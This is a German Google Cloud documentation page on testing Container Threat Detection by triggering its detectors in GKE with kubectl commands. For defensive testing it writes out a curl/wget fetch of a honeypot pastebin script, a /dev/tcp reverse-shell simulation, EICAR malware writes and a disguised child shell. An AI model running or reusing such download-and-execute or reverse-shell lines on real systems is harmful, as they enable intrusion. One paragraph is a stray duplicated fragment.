Container Threat Detection testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Container Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Container Threat Detection ist ein integrierter Dienst der Premium- und Enterprise-Stufe von Security Command Center. Zum Anzeigen der Container Threat Detection-Ergebnisse muss sie in den Einstellungen von Security Command Center für Dienste aktiviert sein.

Hinweise

Um potenzielle Bedrohungen für Ihre Container zu erkennen, müssen Sie darauf achten, dass Ihre Cluster auf einer unterstützten Version von Google Kubernetes Engine (GKE) basieren. Weitere Informationen finden Sie unter Unterstützte GKE-Version verwenden.

Umgebungsvariablen festlegen

Zum Testen von Detektoren verwenden Sie die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Die folgenden Variablen werden zum Testen aller Container Threat Detection-Detektoren verwendet.

  1. Öffnen Sie die Google Cloud Console.

    Weiter zur Google Cloud Console

  2. Wählen Sie das Projekt aus, das den Container enthält, den Sie testen möchten.

  3. Klicken Sie auf Google Cloud Shell aktivieren

  4. Legen Sie in Cloud Shell Umgebungsvariablen fest:

    1. Die Zone, in der sich der Cluster befindet:

      export ZONE=CLUSTER_ZONE
      
    2. Das Projekt, in dem sich der Container befindet:

      export PROJECT=PROJECT_ID
      
    3. Ihr Clustername:

      export CLUSTER_NAME=CLUSTER_NAME
      

Die Variablen werden festgelegt. Die folgenden Abschnitte enthalten Anleitungen zum Testen von Container Threat Detection-Detektoren.

Ausgeführte Binärdatei hinzugeführt

Fügen Sie eine Binärdatei in Ihren Container ein und führen Sie sie aus, um ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" auszulösen. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die Kopie der Binärdatei nicht Teil des ursprünglichen Container-Images war, auch wenn das Image unter Ubuntu 18.04 ausgeführt wird und Container unveränderlich sind.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Legen Sie eine Binärdatei ab und führen Sie sie aus:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung werden von Container Threat Detection beim erstmaligen Erstellen eines Containers vorübergehend hinzugefügte, binär ausgeführte Ergebnisse herausgefiltert. Wenn Sie während der Einrichtung eines Containers alle hinzugefügten Ergebnisse sehen möchten, die von Binärdateien ausgeführt werden, stellen Sie dem Containernamen oder Pod-Namen wie im Beispiel ktd-test voran.

Hinzugefügte Mediathek geladen

Ziehen Sie eine Bibliothek in den Container und laden Sie sie, um ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" auszulösen. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /lib/x86_64-linux-gnu/libc.so.6 an einen anderen Speicherort kopiert und dann mit ld geladen. Die geladene Bibliothek ist unerwartet, da die Kopie der Bibliothek nicht Teil des ursprünglichen Container-Images war, auch wenn sich das Image unter Ubuntu 18.04 befindet und Container unveränderlich sind.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Legen Sie eine Mediathek ab und laden Sie sie mit ld:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Zur Rauschunterdrückung werden beim erstmaligen Erstellen eines Containers von Container Threat Detection vorübergehend Ergebnisse aus „Hinzugefügte Bibliothek geladen“ herausgefiltert. Wenn Sie alle Ergebnisse von „Hinzugefügte Bibliothek geladen“ sehen möchten, während ein Container eingerichtet wird, stellen Sie dem Containernamen oder Pod-Namen wie im Beispiel ktd-test voran.

Ausführung: Schadprogramm ausgeführt und hinzugefügt

Zum Auslösen eines Ergebnisses vom Typ „Ausführung: Binary Executed“-Datei löschen Sie eine schädliche Binärdatei im Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, eine simulierte schädliche Datei erstellt und dann ausgeführt. Die Ausführung des Binärprogramms ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des ursprünglichen Container-Images war. Bei der Binärdatei handelt es sich um eine EICAR-Testdatei, die von den Bedrohungsinformationen als schädlich eingestuft wurde.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Löschen Sie die EICAR-Binärdatei und führen Sie sie aus:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
    

Mit diesem Testverfahren sollte ein Ergebnis vom Typ „Ausführung: Binary Executed“ hinzugefügt werden, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung filtert Container Threat Detection beim erstmaligen Erstellen eines Containers vorübergehend die Ergebnisse „Ausführung: Binärdatei ausgeführt“ heraus. Wenn Sie alle Ergebnisse von „Ausführung: Binary Executed“ hinzugefügt haben, während ein Container eingerichtet wird, stellen Sie dem Containernamen oder Pod-Namen wie im Beispiel das Präfix ktd-test voran.

Ausführung: Geändertes bösartiges Binärprogramm ausgeführt

Wenn Sie ein Ergebnis vom Typ „Execution: Modified Binary Executed“ auslösen möchten, ändern Sie eine schädliche Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /bin/ls in eine simulierte schädliche Datei geändert und dann ausgeführt. Die Ausführung des Binärprogramms ist unerwartet, da /bin/ls während der Containerlaufzeit als simulierte schädliche Binärdatei geändert wird. Bei der Binärdatei handelt es sich um eine EICAR-Testdatei, die von den Bedrohungsinformationen als schädlich eingestuft wurde.

eine schädliche EICAR-Datei testet und sie dann ausführt. Die Ausführung des Binärprogramms ist unerwartet, da das erstellte /bin/ls während der Containerlaufzeit als EICAR-Test für eine schädliche Binärdatei geändert wird. Die EICAR-Binärdatei ist gemäß Bedrohungsinformationen eine bekannte schädliche Datei.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Löschen Sie die EICAR-Binärdatei und führen Sie sie aus:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

Mit diesem Testverfahren sollte ein Ergebnis vom Typ „Execution: Modified Binary Executed“ erstellt werden, das Sie in Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung filtert Container Threat Detection beim erstmaligen Erstellen eines Containers vorübergehend Ergebnisse vom Typ „Execution: Modified Malware Binary Executed“ heraus. Wenn Sie alle Ergebnisse vom Typ „Ausführung: Geänderte bösartige Binärdateien ausführen“ sehen möchten, während ein Container eingerichtet wird, stellen Sie dem Containernamen oder Pod-Namen wie im Beispiel das Präfix ktd-test voran.

Schädliches Script ausgeführt

Wenn Sie ein Ergebnis der Ausführung eines Malware-Skripts auslösen möchten, können Sie das Script wie im Folgenden beschrieben in Ihrem Container ausführen.

Mit dem Verfahren wird das neueste Ubuntu 18.04-Image bereitgestellt, ein als schädlich erkanntes Skript kopiert und dann ausgeführt. Damit eine Erkennung ausgelöst wird, muss ein Skript für den Detektor schädlich sein.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Führen Sie das folgende Skript in einem neuen Container aus.

    Dieses Inline-Bash-Shell-Skript stammt aus einem Honeypot. Es wurde jedoch so geändert, dass es die schädliche Binärdatei nicht ausführt, sodass die Ausführung des Skripts keine schädlichen Aktivitäten in Ihrem Container verursacht. Die Binärdatei unter der referenzierten URL wurde möglicherweise entfernt. Der Versuch, der URL zu folgen, führt zu einem 404-Fehler. Dies ist zu erwarten. Die Erkennung wird durch den Versuch ausgelöst, eine Binärdatei mithilfe eines Inline-Skripts herunterzuladen, zu decodieren und auszuführen.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

Bei diesem Testverfahren wird ein Ergebnis des Typs "Schädliches Skript ausgeführt" erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Schädliche URL beobachtet

Führen Sie eine Binärdatei aus und geben Sie eine schädliche URL als Argument an, um das Ergebnis einer beobachteten schädlichen URL auszulösen.

Im folgenden Beispiel wird ein Ubuntu 18.04-Image bereitgestellt und /bin/curl ausgeführt, um auf eine Malware-Beispiel-URL aus dem Safe Browsing-Dienst zuzugreifen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Führen Sie curl aus und geben Sie eine schädliche URL als Argument an:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- bash -c "curl $url | cat"
    

Dieses Testverfahren löst ein Ergebnis der beobachteten Malware-URL aus, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging ansehen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Reverse Shell

Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket. In diesem Beispiel beginnt /bin/echo mit einer Weiterleitung zum öffentlichen Google-DNS 8.8.8.8 am DNS-Port. Beim Ausführen dieses Beispiels wird nichts ausgegeben. In diesem Beispiel wird der /bin/bash binary nicht verwendet, um zu verhindern, dass ein externer Code durch einen Man-in-the-Middle-Angriff ausgelöst wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
    

Mit diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Unerwartete untergeordnete Shell

Zum Testen des Unexpected Child Shell-Detektors können Sie eine Prozessstruktur erstellen, die einen untergeordneten Shell-Prozess enthält.

Im folgenden Beispiel wird eine httpd->dash-Prozessstruktur erstellt, die vom Unexpected Child Shell-Detektor erkannt werden kann. Dieser Test ist sicher, da nur integrierte Binärdateien verwendet werden. Dieses Beispiel tut Folgendes:

  1. Erstellt eine Kopie des bash-Prozesses und nennt sie httpd.
  2. Es kopiert den echo-Prozess und nennt ihn dash.
  3. Ruft den kopierten dash-Prozess im kopierten httpd-Prozess auf.

So lösen Sie ein Unexpected Child Shell-Ergebnis aus:

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Veranlassen Sie, dass der simulierte httpd-Prozess eine Mock-Shell aufruft:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/bash /tmp/httpd; cp /bin/echo /tmp/bash; \
    /tmp/httpd -c "/tmp/bash child ran successfully & wait"'
    

Mit diesem Testverfahren wird ein Unexpected Child Shell-Ergebnis erstellt, das Sie in Security Command Center ansehen können. Wenn Sie Logging für Container Threat Detection konfiguriert und Security Command Center Premium oder Enterprise auf Organisationsebene aktiviert haben, können Sie die Ergebnisse auch in Cloud Logging ansehen.

HINWEIS: Der & wait-Teil des obigen Testbefehls ist wichtig. Die öffentliche Vorschau-Version des unerwarteten untergeordneten Shell-Detektors kann nur übergeordnete Prozesse erfassen, die fork und dann eine neue Shell exec. Wenn der Abschnitt & Wartet des Befehls weggelassen wird, kann der Detektor das Ereignis nicht erfassen.

Nächste Schritte